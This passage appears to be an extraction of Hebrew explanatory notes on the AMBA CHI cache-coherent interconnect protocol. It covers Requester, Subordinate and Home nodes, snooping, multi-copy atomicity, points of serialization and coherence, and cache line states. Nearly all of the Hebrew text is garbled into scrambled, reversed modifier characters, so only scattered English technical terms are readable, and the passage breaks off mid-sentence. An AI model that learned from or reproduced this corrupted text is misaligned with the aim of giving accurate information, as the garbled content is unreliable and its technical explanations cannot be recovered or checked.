 ˪˷ ˸˷˶ ˣˬ˩ ,˸ˣ˧ˠˣ˪ˣ˲ˣ˦ ˭ˣˣˠˬ˟ ˫˷ˣ˧ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ ˭ˣˮˠˮˬ .˪ˣ˵ˣ˦ˣ˶˲ ˧˸ˬ˴switch-˟ ˫˧˶˟ˣ˥ˬˢ ˫˧-

ring, crossbarˢ .˸ˣ˶˥˞ ˸ˣ˸˷˶ ˣ˞ ,-Interconnect  ˸ˬˣ˴ ˭ˣˠ˩ ,˫˧ˮˣ˷ ˪ˣ˵ˣ˦ˣ˶˲ ˧˸ˬ˴ ˫ˠ ˪ˣ˪˩˪ ˧ˣ˷˰

Home .˸˩˶˰ˬ˟ ˸˶ˣ˷˵˸ˢ ˧˩˶˴˪ ˫˞˸ˢ˟ ,˫˧˶˥˞ ˫˧˸ˬ˴ˣ 

Requester  

-sRequester  ˟˧˩˶˟ ˶˟ˣˡˬ .ˢ˷˵˟ ˸˰ˡˣˢ ˸˥˧˪˷ ˧ˡ˧ ˪˰ ˢ˧˴˵ˤˮ˶˦ ˫ˣˤ˧˪ ˣˡ˧˵˲˸˷ ˸˩˶˰ˬ˟ ˟˧˩˶ ˞ˣˢ

 .˫˧ˬ˧ˣ˯ˬ ˫˧ˮˣ˸ˮ˪ ˣ˞ ˫˧ˣ˯ˬ ˟˞˷ˬ˪ ˷˶ˡˮ ˞ˣˢ ˶˷˞˩ ,˧˞ˬ˴˰ ˭˲ˣ˞˟ ˸˶ˣ˷˵˸ˢ ˨˧˪ˢ˸ ˸˞ ˪˧˥˸ˬ˷

 ˥ˮˣˬˢRequester ˟˧˩˶˪ ˫ˠ ˯˥˧˧˸ˬ ,interconnect ˟ ˢ˷˵˟ ˸ˣ˰ˡˣˢ ˞˧˴ˣˬ˷-downstream  ˵˪˥˩

 ˸ˣ˶˥˞ ˸ˣ˧˴˵ˤˮ˶˦˪ ˢ˟ˣˠ˸˟ ˣ˞ ,˸ˣ˶˧˷˧ ˢˬˣˤ˧ ˢ˷˵˟˟ ˶˟ˣˡˬ ˫˞ ˭˧˟ ,˸˶ˣ˷˵˸ˢ ˪ˣˢ˧ˮ ˨˧˪ˢ˸ˬ

ˢ ˟˧˩˶ ,˶ˬˣ˪˩ .˸˩˶˰ˬ˟ ˸ˣ˷˥˶˸ˬˢ-Requester  ˟˧ˠˢ˪ ˧ˣ˷˰ ˫ˠ ˞˪˞ ˸ˣ˧˞ˬ˴˰ ˸ˣ˷˵˟ ˥˪ˣ˷ ˵˶ ˞˪

.˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧˟˧˩˶ ˧ˡ˧ ˪˰ ˣ˵˷ˣˢ˷ ˸ˣ˧˴˵ˤˮ˶˦˪ 

 ˧ˠˣ˯Requester-:˫˧ 

¶ ˪˥˪ ˫˧˧˦ˮ˶ˢˣ˵ ˫˧˸ˬ˴) ˭˧˦ˣRN-F:(  ˧˸ˬ˴Requester  ˭ˣ˶˩˧ˤ ˫˧˪˧˩ˬ ˢ˪˞cache  ˨ˬˣ˸ˢ

˪ ˟˧ˠˢ˪ˣ ˪˟˵˪ ˫˧˪ˣ˩˧ ˫ˢ ,˨˩ˬ ˢ˞˴ˣ˸˩ .ˢ˞˪ˬ ˸ˣ˧˦ˮ˶ˢˣ˵˟-snoop- ˭˸˶˦ˬ˷ ˸ˣ˷˵˟ ˫ˢ˷ ,˫˧

˟ ˫˧ˮˣ˸ˮˢ ˸ˣ˧˟˵˰ ˪˰ ˶ˣˬ˷˪-cache- ˸˟ˣ˶ˬ ˸˩˶˰ˬ˟ ˫˧agent-.˫˧ 

¶  ˫˧˸ˬ˴I/O ) ˫˧˧˦ˮ˶ˢˣ˵RN-I:(  ˧˸ˬ˴Requester  ˫˧˪˧˩ˬ ˫ˮ˧˞ ˣ˪˞cache  ˫ˮ˧˞ ˭˩˪ˣ ˧˦ˮ˶ˢˣ˵

 ˪˟˵˪ ˫˧˪ˠˣ˯ˬsnoops ˧ˮ˵˸ˢ ˶ˣ˟˧˥ ˨˶ˣ˴˪ ˫˧˷ˬ˷ˬ ˫ˢ ,˪˪˩ ˨˶ˡ˟ .I/O .˸˩˶˰ˬ˪ 

 ˥ˮˣˬ˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˢˤˢ ˶ˬ˞ˬ˟ :ˢ˶˰ˢRequester ˪ ˞˧ˢ ˢˮˣˣ˩ˢ ˪˟˞-RN-F. 

Subordinate  

-sSubordinate ˢ ˞ˣˢ-agent ˢˬ ˸ˣ˧˴˵ˤˮ˶˦ˢ ˸˞ ˪˟˵˪ ˧˞˶˥˞˷ ˸˩˶˰ˬ˟-Requester ˭˸ˣ˞ ˰˴˟˪ˣ ,

 ˣ˞ ˫˧˟˞˷ˬ ,˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠ˟ ˶˟ˣˡˬ ˫˞ ˭˧˟ ,˭˧˵˸ ˭˲ˣ˞˟ ˸ˣ˷˵˟ˢ ˸˞ ˫˧˪˷ˢ˪ ˞ˣˢ ˣˡ˧˵˲˸ .ˢ˩˪ˢ˩

ˢ ,˪˪˩ ˨˶ˡ˟ .˭ˣ˶˩˧ˤ-Subordinate ˢ ˞ˣˢ-agent  .˸˩˶˰ˬˢ ˪˷ ˸˶ˣ˷˵˸ˢ ˸˧˧˩˶˶˧ˢ˟ ˶˸ˣ˧˟ ˨ˣˬˮˢ

ˬˣ˪˩ ˪˞˩ ˫ˠ ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ ˫˧˸˧˰˪ .˰ˣ˴˧˟˪ ˸ˣ˧˴˵ˤˮ˶˦ˢ ˸ˣ˰˧ˠˬ ˢ˧˪˞ ˸˧˲ˣ˯ˢ ˢˡˣ˵ˮˢ ,˶ñ˫˧˪˷ˬ ò
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)Completer ˣ˞ (ñˢ˴˵ ˸ˡˣ˵ˮ) òEndpointˢ ˞ˣˢ ˭˩˷ ,(-agent  ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬˣ ˪ˠ˰ˬˢ ˸˞ ˶ˠˣ˯˷

˪ ˢˬˠˣˡ ,ˢ˧˴˵ˤˮ˶˦˟ ˢ˷˵˟˸ˢ˷-Subordinate .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˢˤ 

¶  ˸ˬˣ˴SN-F :˪˧ˠ˶ ˭ˣ˶˩˧ˤ ˶ˣ˟˰ ˴ ˭ˣ˶˩˧ˤˢ ˥˦˷ ˸˞ ˫˧˟ˠˬˢ ˭ˣ˶˩˧ˤ ˧ˮ˵˸ˢ˪ ˫˧˶˟ˣ˥ˬ ˣ˪˞ ˫˧˸ˬ

 ˸ˬˣ˴˪ ˶˟˥˸˧ ˭ˣ˶˩˧ˤ ˶˵˟ ,ˢˬˠˣˡ˪ .˧˦ˮ˶ˢˣ˵ˢSN-F .ˢˤ ˠˣ˯ˬ 

¶  ˸ˬˣ˴SN-I :˪˧ˠ˶ ˣ˞ ˧˲˵˧ˢ ˭ˣ˶˩˧ˤ ˶ˣ˟˰  ˧˲˵˧ˢ ˡˣ˧˴˪ ˫˧˶˟ˣ˥ˬ ˣ˪˞ ˫˧˸ˬ˴I/O  ˞˪ ˭ˣ˶˩˧ˤ˪ ˣ˞

ˢ˞˪ˬ ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˡˣˬ˰˪ ˫˧˟˧ˣ˥ˬ ˫ˮ˧˞˷ ˫˧˟˞˷ˬ˪ ˢ˷˧ˠ ˵˲˯ˬˢ ,˧˦ˮ˶ˢˣ˵. 

 ˥ˮˣˬ˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˢˤˢ ˶ˬ˞ˬ˟ :ˢ˶˰ˢSubordinate ˪ ˞˧ˢ ˢˮˣˣ˩ˢ ˪˟˞-SN-F. 

Home  

-sHome Node (HN)  ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸ˣ˧˴˵ˤˮ˶˦ ˶ˣ˟˰ ˤˣ˩˧˶ ˸ˡˣ˵ˮ˩ ˸˷ˬ˷ˬˢ ,˸˩˶˰ˬˢ ˨ˣ˸˟ ˢˡ˧˥˧ ˞ˣˢ

 ˧˸ˬ˴ˬ ˸ˣ˰˧ˠˬˢ ˸ˣ˧˦ˮ˶ˢˣ˵Requester ˫˧˟˞˷ˬ˪ ˣ˞ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˸˞ ˫˞˸˪ˣ ˪ˢˮ˪ ˞ˣˢ ˣˡ˧˵˲˸ .

ˢ ˨ˣ˸˟ ˫˵ˣˬˬ ˞ˣˢˣ ,˫˧˲˸ˣ˷ˬˢ-interconnect ˸˩˶˰ˬˢ ˧˟˧˩˶ˬ ˭˧˟ ˧ˤ˩˶ˬˢ ˶ˣ˟˧˥ˢ ˸˞ ˢˣˣˢˬˢ ,

.˫˧ˮˣ˷ˢ 

 ˧˸ˬ˴Home  .˫ˡ˧˵˲˸˪ ˫˞˸ˢ˟ ˫˧˧˦ˮ˶ˢˣ˵ ˞˪ ˣ˞ ˫˧˧˦ˮ˶ˢˣ˵ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ 

 ˧˸ˬ˴Home ) ˭˧˦ˣ˪˥˪ ˫˧˧˦ˮ˶ˢˣ˵HN-F ˧˸ˬ˴ :(Home  ˭ˣ˶˩˧ˤ˪ ˸ˣ˷˵˟ˢ ˪˩ ˶ˣˡ˧˯ˣ ˪ˣˢ˧ˮ˪ ˫˧˞˶˥˞ ˣ˪˞

 ˸ˣ˪ˣ˰˲ ˫˧˞˧˴ˣˬ ˫ˠ ˫ˢ .˸˩˶˰ˬ˟ ˧˦ˮ˶ˢˣ˵snoop  ˧˸ˬ˴˪RN-F  ˧˸ˬ˴ˢ ˪˩ ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˶ˣˬ˷˪ ˧ˡ˩

-sRequester-.˫˧ 

˶˰ˬ˟ ˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˸˯˯ˣ˟ˬˢ ˸˩CHI ˰˧ˠˢ˪ ˫˧˪ˣ˩˧ ˫˧˷˶ˡˮˢ ˫˧ˮˣ˸ˮˢ ,ˢ˞˧˶˵ ˸˷˵˟ ˸˰˴˟˸ˬ ˶˷˞˩ ,

:˫˧˧˶˷˲˞ ˸ˣ˶ˣ˵ˬ ˶˲˯ˬˬ 

¶ s-cache ˢ ˨ˣ˸˟ ˞˴ˬˮ˷-interconnect. 

¶  ˸ˬˣ˴Subordinate. 

¶  ˸˧ˬ˰RN-F ˸ˬˣ˴ :Requester  ˸˞ ˵˲˯˪ ˪ˣ˩˧˷ ,˸ˣ˞˪ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˪ˣ˩˧ ˪˰˟ ˸˩˶˰ˬ˟ ˶˥˞

.ˢ˞˧˶˵ˢ ˸˷˵˟˪ ˫˧˷˶ˡˮˢ ˫˧ˮˣ˸ˮˢ 

ˢ˷ ˞ˣˢ ,˧˶˷˲˞ ˡ˥˞ ˷˧˥˶˸-Home Node ˬ ˷˵˟ˬ-RN-F ˢ ˸ˬˣ˴ˬ ˣ˞-Subordinate  ˸˞ ˶˧ˤ˥ˢ˪

ˢ ˪˞) ˣ˧˪˞ ˸ˣ˶˧˷˧ ˫˧ˮˣ˸ˮˢ-Homeˢ ,˭˩ˬ ˶˥˞˪ .(-Home Node  ˵˸ˣ˰ ˶˧˟˰ˬˣ ˷˶ˡˮˢ ˫ˣ˞˧˸ˢ ˸˞ ˰˴˟ˬ

ˮˢ ˪˷ˢ ˪˞ ˪˟˧˵˷ ˫˧ˮˣ˸-Requester. 

 ,˪˷ˬ˪) ˫˧ˮˣ˸ˮˢ ˵˲˯˪ ˶˷˲˞˪ ˭˸˧ˮ ,ˢˤ ˨˧˪ˢ˸˟ ˫˧˶˸ˣ˧ˬ ˫˧˟˪˷ ˫˴ˬ˴˪ˣ ˸˩˶˰ˬˢ ˸ˣ˪˧˰˧ ˸˞ ˶˲˷˪ ˧ˡ˩

-sRN-F ˢ ˣ˞-Subordinate˪ ˸ˣ˶˧˷˧ ˫˧ˮˣ˸ˮˢ ˸˟ˣˠ˸ ˸˞ ˶˧˟˰ˢ˪ (-Requester  ,˫˧ˮˣ˸ˮˢ ˸˞ ˷˵˧˟˷

ˢ ˨˶ˡ ˣ˶˟˰˧ ˫˧ˮˣ˸ˮˢ˷ ˧˪˟ˬ-Home Node  ˢ˪ˣ˰˲ ˨˶ˡ .ˢ˪˧˥˸) ˢ˧ˢ˷ˢˢ ˸˞ ˢ˸˧˥˲ˬ ˣˤlatency (
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ˢ ˨˶ˡ ˱˯ˣˮ ˶˟˰ˬ˟ ˨˶ˣ˴ˢ ˸˞ ˸˪˦˟ˬ ˞˧ˢ ˭˩˷ ,˸ˣ˧˴˵ˤˮ˶˦ˢ ˸ˬ˧˶ˤ ˸˞ ˸˶˲˷ˬˣ-Hom ˞˧ˢ ˸˪ˣ˩˧ˢ .

˟ ˢ˩˧ˬ˸ ˫˴˰˟-н  :˸ˣ˪ˣ˩˧Direct Memory Transfer (DMT) x-Direct Cache Transfer (DCT). 

:ˢ˶˰ˢ  ˥ˮˣˬ˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˢˤˢ ˶ˬ˞ˬ˟Home ˪ ˞˧ˢ ˢˮˣˣ˩ˢ ˪˟˞-HN-F. 

 

Snoop  &Snoopee  

-sSnoop ˪ ˸˰ˡˣ˧ˬ˷ ˢ˷˵˟ ˸˰ˡˣˢ ˞˧ˢ-Requester ˰˴˟˸ˢ˪ ˸ˣ˪ˣ˩˧˷ ˸ˣ˪ˣ˰˲ ˪˷ ˫˧ˠˣ˯ ˧ˮ˧ˬ ˪˩ ˷˧ .

˟ ˢˮˬˬ ˢ˞˴ˣ˸˩-Requester  ˸˷˵˟ ˢˬˠˣˡ˪ ,ˡ˰˧ˢsnoop  ˪˟˵˪cache line ˸ˬ˧ˣ˯ˬ. 

-sSnoopee  ˞ˣˢRequester  ˪˟˵ˬ˷snoop  ˸˪ˣ˰˲ ˣ˧˪˰ ˫˧˷ˣ˰ ˶ˬˣ˪˩)snoop .(˫˞˸ˢ˟ ˪ˣ˰˲˪ ˣ˧˪˰ˣ 

allocate  

allocate ˟ ˢ˷˰ˮ˷ ˫˧˟˞˷ˬ ˸˞˴˵ˢ ˸˪ˣ˰˲ ˞˧ˢ-node ˫˧ˣ˯ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ ,ˢˬˠˣˡ˪ .˟ ˫ˣ˵ˬ ˸˞˴˵ˢ-

cache ˢ ˪˷-node .ˢ˟˧˸˩ ˸˷˵˟ˬ ˰ˡ˧ˬ ˸˪˟˵ ˶˷˲˞˪ ˧ˡ˩ ,˞ˬˠˣˡ ˸˧˲˯ˣˮ ˞˧ˢ  ˫˧˟˞˷ˬ ˪˷ ˢ˞˴˵ˢ

 ˸˟ˣˠ˸ ˶˧ˤ˥ˢ˪ ˢ˩˧˶˴ ˞˧ˢ ˫˞ ,˸ˬ˧ˣ˯ˬ ˢ˷˵˟ ˪˷ ˵ˣ˲˧˯˪ack. 

 ˸˪ˣ˰˲˪ ˢˬ˶ˠ˷ ˢ˧˴˵ˤˮ˶˦ˢ ˫ˣ˧˯˟allocateˢ ,-node ˢ ˸˞ ˰˴˧˟˷-allocate  ˫˧˟˞˷ˬˢ ˸˞ ˶˶˥˷˪ ˨˧˶˴

˪ˣ˰˲ ˰˴˟˧ ˞ˣˢ ˭˩˪ˣ ˸deallocate. 

 ˸˩˶˰ˬ˟ ˫˧˟˧˩˶ ˡ˧˵˲˸ ˠˣˣ˧˯ 

˫˧ˮˣ˷ ˫˧˟˧˩˶ ˩ ˫˧ˠˣˣ˯ˬ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˸˩˶˰ˬ˟-ñRequester ò ˣ˞ñCompleter ,ò ˫ˡ˧˵˲˸˟ ˧ˣ˪˸

:ˢ˧˴˵ˤˮ˶˦˟ 

¶  ˸ˬˣ˴Requester : ˫ˣˤ˧˪ ˪ˠˣ˯ˬ˷ ˟˧˩˶ ˣˢˤ .ˢ˷˵˟ ˸˰ˡˣˢ ˸˥˧˪˷ ˧ˡ˧ ˪˰ ˢ˧˴˵ˤˮ˶˦ ˪˧˥˸ˬ˷ ˟˧˩˶

 ˟˧˩˶ ,˫˧ˬ˰˲˪ ˣ˞ ,˸ˣ˧˞ˬ˴˰ ˸ˣ˧˴˵ˤˮ˶˦interconnect  ˵˪˥˩ ˫˶ˤˢ ˡ˶ˣˬ˟ ˢ˷˵˟ ˸˰ˡˣˢ ˞˧˴ˣˬ˷

˴˵ˤˮ˶˦ˬˢ ,˶ˬˣ˪˩ .˸˶˥˞ ˢ˧-Requester  ˫ˠ ˪ˣ˩˧ ˞˪˞ ,˧ˮˣ˷˞˶ˢ ˢ˷˵˟ˢ ˶ˣ˵ˬ ˸ˣ˧ˢ˪ ˟˧˧˥ ˞˪

.˸˩˶˰ˬ˟ ˸ˣ˧˴˵ˤˮ˶˦ ˸˶˷˶˷ˬ ˵˪˥˩ ˡ˵˲˸˪ 

¶  ˸ˬˣ˴Completer: ˢ .ˢ˪ ˟˧ˠˬˣ ˢ˧˴˵ˤˮ˶˦ ˪˟˵ˬ˷ ˟˧˩˶-Completer  ˟˧˩˶ ˸ˣ˧ˢ˪ ˪ˣ˩˧interconnect ,

 ˣˬ˩HNˢ ˸˩˶˰ˬ˪ ˳ˣ˥ˬ ˟˧˩˶ ˣ˞ ,-interconnect ˭ˣˠ˩ ,subordinate.˪˰ˣ˲˟ ˢ˧˴˵ˤˮ˶˦ˢ ˸˞ ˰˴˟ˬ˷ , 
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 ˭ˣ˶˩˧ˤ ˪ˡˣˬ 

Multi -copy atomicity  

 ˪˷ ˭ˣ˶˩˧ˤˢ ˪ˡˣˬAMBA CHI  ˪˷ ˫ˣ˷˧˧ ˟˧˧˥ˬMulti-copy atomicity ˟˧˩˶ ˪˩˷ ,˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ .

 ˪˷ ˫˧˞ˮ˸ˢ ˸˞ ˸ˣˬ˧˧˵ˬ ˣ˪˷ ˢ˟˧˸˩ˢ ˸ˣ˷˵˟˷ ˥˧˦˟ˢ˪ ˟˧˧˥ ˪ˣ˵ˣ˦ˣ˶˲˪ ˫˞ˣ˸ˢMulti-copy atomicity .

:˫˧˧˶˵˧˰ ˫˧˞ˮ˸ ˧ˮ˷ ˫˧ˬ˧˧˵˸ˬ ˫˞ ˢˤ ˧˞ˮ˸˟ ˸ˡˬˣ˰˩ ˸˟˷˥ˮ ˢ˟˧˸˩ 

¶ ˢ ˪˩˷ ˨˩ ,˶ˡˠˣˬ ˶ˡ˯˟ ˸ˣ˰˴˟˸ˬ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩ˢ ˸ˣ˪ˣ˰˲ ˪˩-Requester- ˫˧˞ˣ˶ ˫˧

)observed ˷˧ .˶ˡ˯ ˣ˸ˣ˞˟ ˢ˟˧˸˩ˢ ˸ˣ˪ˣ˰˲ ˸˞ (Requester-.˸ˣ˟˧˸˩ˢ ˪˩ ˸˞ ˣ˞˶˧ ˞˪ ˧˪ˣ˞˷ ˫˧ 

¶ ˢ˪ ˪˩ˣ˸ ˞˪ ˫ˣ˵˧ˬ ˣ˸ˣ˞ˬ ˢ˞˧˶˵ˢ ˪˩˷ ˡ˰ ,˟˸˩ˮ˷ ˨˶˰ˢ ˸˞ ˶˧ˤ˥-Requester- ˸˞ ˸ˣ˞˶˪ ˣ˪˩ˣ˧ ˫˧

˷ ˶ˣ˯˞ ,˶ˬˣ˪˩) ˢ˟˧˸˩ˢ-Requester ˣ ˷ˡ˥ˢ ˨˶˰ˢ ˸˞ ˸ˣ˞˶˪ ˪˩ˣ˧ ˡ˥˞-Requester  ˨˶˰ ˢ˞˶˧ ˶˥˞

.(˭˷˧ 

Downstream  

-sDownstream ˶ˡˠˣˬ ˢ ˪˷ ˦˟ˬˢ ˸ˡˣ˵ˮˬ-Requesterˢ˷˩ .-Requester ˢ ,ˢ˷˵˟ ˥˪ˣ˷-

Downstream cache ˢ ˞ˣˢ-cache  ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˷˵˟ˢ ˸ˣ˧˴˵ˤˮ˶˦ ˸ˣ˰˴ˬ˞˟ ˢ˷˵˟ˢ ˸˷ˠ˧ˮ ˣ˧˪˞˷CHI .

ˢ ,˶ˬˣ˪˩-cache  ˫˵ˣˬˬñˢ ˡ˶ˣˬ˟-stream ò˪ ˯˥˧˟-Requester. 

Upstream  

ˢ ˭˧˟ ˢ˧˴˵˞˶˦ˮ˧˞ ˷˧ ,ˢ˧˴˵ˤˮ˶˦ ˨˪ˢˬ˟-Requester  ˧˟˧˩˶ ˭˧˟˪Subordinate  ˶˷˞˩ ,˶˸ˣ˧ ˣ˞ ˡ˥˞

ˢ ,ˢˤ˩ ˟˴ˬ˟ .˫˧˲˯ˣˮ ˫˧˧ˮ˧˟ ˧˟˧˩˶ ˨˶ˡ ˫ˠ ˶ˣ˟˰˪ ˢ˪ˣ˩˧ ˸˶ˣ˷˵˸ˢ-Upstream  ˸ˬˣ˴ˢˬ ˭ˣˣ˧˩ˢ ˸˞ ˠ˴˧˧ˬ

ˮˢˢ ˸ˬˣ˴ ˭ˣˣ˧˩˪ ˢ˶ˤ˥ ,(˫˧˧ˮ˧˟ ˟˧˩˶ ˭ˣˠ˩) ˧˥˩ˣ-Requester  ˪˩ ,˶ˬˣ˪˩ .ˢ˧˴˵ˤˮ˶˦ˢ ˸˞ ˞˧˴ˣˢ˷ ˧˶ˣ˵ˬˢ

˪ ˯˥˧˧˸ˬ ˢ˧˴˵ˤˮ˶˦ ˰˴˟ˬ˷ ˫˧˧ˮ˧˟ ˟˧˩˶-Upstream ˢ ˸ˬˣ˴ ˪˞ ˪˧˟ˣˬ˷ ˭ˣˣ˧˩ˢ ˶ˣ˸˟-Requester  ,˶ˣ˵ˬˢ

.ˣˬ˴˰ ˸ˬˣ˴ˢ ˪˪ˣ˩ 

 ˪˷ ˸ˣ˶ˡˠˢˢ ˧˩ ˭˧˧˴˪ ˷˧ñ˫˶ˤˢ ˡ˶ˣˬ˟) òDownstreamˢ˪˰ˬ˟"ˣ ( ) "˫˶ˤˢUpstream ˧˲˪ ˸ˣ˰˟˵ˮ (

.ˢ˧˴˵ˤˮ˶˦ˢ ˨ˣ˸˟ ˫˧˧˲˧˴˲˯ ˫˧ˮˣ˸ˮ ˸ˬ˧˶ˤ ˨ˬ˯ ˪˰ ˞˪ˣ ,ˢ˸ˣ˪˪˩˟ ˢ˧˴˵ˤˮ˶˦ˢ 

PoS - Point of Serialization  

-sPoint of Serialization (PoS)ˢ ,ˢ ˨ˣ˸˟ ˢˡˣ˵ˮˢ ˞˧-interconnect  ˪˷ ˰ˣ˴˧˟ˢ ˶ˡ˯ ˰˟˵ˮ ˢ˟˷

ˬ ˸ˣ˰˧ˠˬˢ ˸ˣ˷˵˟ˢ-agent- ˥˧˦˟ˢ˪ ˸ˮˬ ˪˰ ˸ˣ˪ˣ˰˲ˢ ˶ˡ˯ ˸˞ ˸˰˟ˣ˵ ˸˩˶˰ˬˢ ,ˣˤ ˢˡˣ˵ˮ˟ .˫˧ˮˣ˷ ˫˧

ˢ ˡ˴ˬ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˪ˣ˰˲ ˶ˡ˯ ˪˰ ˢ˶˧ˬ˷ ˶˷˲˞ˬ˷ ˢˬ ,˸ˣ˧˴˵ˤˮ˶˦ˢ ˰ˣ˴˧˟˟ ˸ˣ˧˟˵˰-agent- ˫˧

.˸˩˶˰ˬ˟ ˫˧ˮˣ˷ˢ 

PoC - Point of Coherence  

-sPoint of Coherence (PoC) ˢ ˪˩˷ ˥˦˟ˣˬ ˢ˟˷ ˸˩˶˰ˬ˟ ˢˡˣ˵ˮˢ ˞˧ˢ-agent- ˸˷ˠ˪ ˫˧˪ˣ˩˧˷ ˫˧

˟ ,˶ˬˣ˪˩ .˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ ˪˷ ˧ˮ˩ˡ˰ˢ ˵˸ˣ˰ˢ ˣ˸ˣ˞ ˸˞ ˣ˞˶˧ ˭ˣ˶˩˧ˤ˪-PoC  ˸ˣ˷˧ˠˢ ˪˩ ˭˧˟ ˭ˣ˶˩ˮ˯ ˫˧˧˵˸ˬ
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 ˪˰ ˸˯˯ˣ˟ˬ˷ ˸˧˯ˣ˲˧˦ ˸˩˶˰ˬ˟ .˫˧ˮˣ˸ˮ ˟˴ˬ ˣ˸ˣ˞ ˪ˣˬ ˫˧ˡ˟ˣ˰ ˫˪ˣ˩˷ ˨˩ ,˭ˣ˶˩˧ˤ˪CHIˢ ,-PoC ˟ ˞˴ˬˮ-

Home ) ˧˦ˮ˶ˢˣ˵ˢHN-F˟˷ (-interconnect. 

 ˧ˮ˧˧˲˞ˬCache line  

-˪AMBA CHI ˪ ˢˬˣˡ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˡˣˬ ˷˧-ACEˢ ˧˟˴ˬˢ ˶˲˯ˬ ˠ˧˴ˬ ˞ˣˢˣ ,-cache line ˸˥˲˷ˬ˪ ˡˣˠ˧ˮ˟ ,

 ˧˪ˣ˵ˣ˦ˣ˶˲MESI ˪ˣ˩˧ ˫˧ˮ˧˧˲˞ˬˢˬ ˵˪˥ˣ ,˫˧ˮ˧˧˲˞ˬ ˶˲˯ˬ ˧ˡ˧ ˪˰ ˫˧˧ˣˮ˟˷ ˫˧˟˴ˬ ˠ˧˴ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢ ,

 ˣ˸ˣ˞ ˪˰ ˪˧˟˵ˬ˟ ˫˧˧˵˸ˢ˪cache line. 

ˬˢ ˪˷ ˫˧ˮ˧˧˲˞ˬˢ ˭˞˩ ˫˧ˠ˴ˣ-cache line ˢ˴ˣ˟˵ ˪˩ ,˶ˬˣ˪˩ .˸ˣˡˠˣˮˬ ˸ˣ˴ˣ˟˵ ˪˷ ˢ˶ˣ˴˟ ˫˧ˠ˴ˣˬ ˫ˢˣ ,

 ˢ˸ˣ˞ ˪˰ ˪˧˟˵ˬ˟ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˞˪˷ ˫˧ˮ˧˧˲˞ˬ ˢ˪˧˩ˬcache line ˫˧˪ˣ˩˧ ˸ˣˮˣ˷ ˸ˣ˴ˣ˟˵˟ ˫˧ˮ˧˧˲˞ˬ ˪˟˞ ,

.˪˧˟˵ˬ˟ ˫˧˧˵˸ˢ˪ 

Valid, Invalid  

¶  ˭˧˧˲˞ˬValid: s-cache line ) ˢ˲˵˸Valid˟ ˸ˬ˧˧˵ ˞˧ˢ ˶ˬˣ˪˩ ,(-cache. 

¶  ˭˧˧˲˞ˬInvalid: s-cache line ) ˢ˲˵˸ ˞˪Invalid˟ ˸ˬ˧˧˵ ˞˪ ˞˧ˢ ˶ˬˣ˪˩ ,(-cache. 

Unique, Shared  

¶  ˭˧˧˲˞ˬUnique: s-cache line .˫˧˧˵˷ ˡ˧˥˧ˢ ˵˸ˣ˰ˢ ˞˧ˢ 

¶  ˭˧˧˲˞ˬShared: s-cache line ˟ (˫˧˵˸ˣ˰ ˶˲˯ˬ ˫˰) ˸˲˸ˣ˷ˬ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧-cache- ˪˟˞ ,˫˧ˮˣ˷ ˫˧

.˫˧˵˸ˣ˰ ˡˣ˰ ˷˧˷ ˥ˣ˦˟ ˞˪ 

Clean, Dirty  

¶  ˭˧˧˲˞ˬClean :-scache ˟ ˵˧ˤ˥ˬ˷-cache line ˢˣ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰ ˪˰ ˧˞˶˥˞ ˞˪-cache line 

.˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢˢˤ ˣ˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˢˮˣ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˨˶˰ ˢ˪˧˩ˬ 

¶  ˭˧˧˲˞ˬDirty:  ˪˷ ˸ˣ˧˶˥˞ˢ-scache ˟ ˵˧ˤ˥ˬ˷-cache line  ˭ˣ˶˩˧ˤ˟ ˭˩ˡ˰˸ˬ ˨˶˰ˢ˷ ˥˧˦˟ˢ˪ ˞˧ˢ

ˢ˷ ˸˶ˬˣ˞ ˥˶˩ˢ˟ ˞˪ ˢ˥˦˟ˢˢ) ˧˷˞˶ˢ-cache ˢ ,(˭ˣ˩ˡ˰ˢ ˸˞ ˰˴˟˧ ˣˬ˴˰˟-cache line  ˪˧˩ˢ˪ ˪ˣ˩˧

.ˢˮˣ˷ ˨˶˰ ˪˧˩ˢ˪ ˟˧˧˥ ˞˪ ˪˟˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢˬ ˢˮˣ˷ ˨˶˰ 

Full, Partial, Empty  

¶  ˭˧˧˲˞ˬFull :ˢ˷ ˫˧˸˟ˢ ˪˩-cache line  ˟˴ˬ˟) ˫˧˧˵ˣ˥ ˢ˪˧˩ˬValid.( 

¶  ˭˧˧˲˞ˬPartial :ˢ˷ ˫˧˸˟ˢˬ ˵˪˥-cache line  ˟˴ˬ˟) ˫˧˧˵ˣ˥ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˢ˪˧˩ˬValid ˫ˠ ˪˟˞ ,(

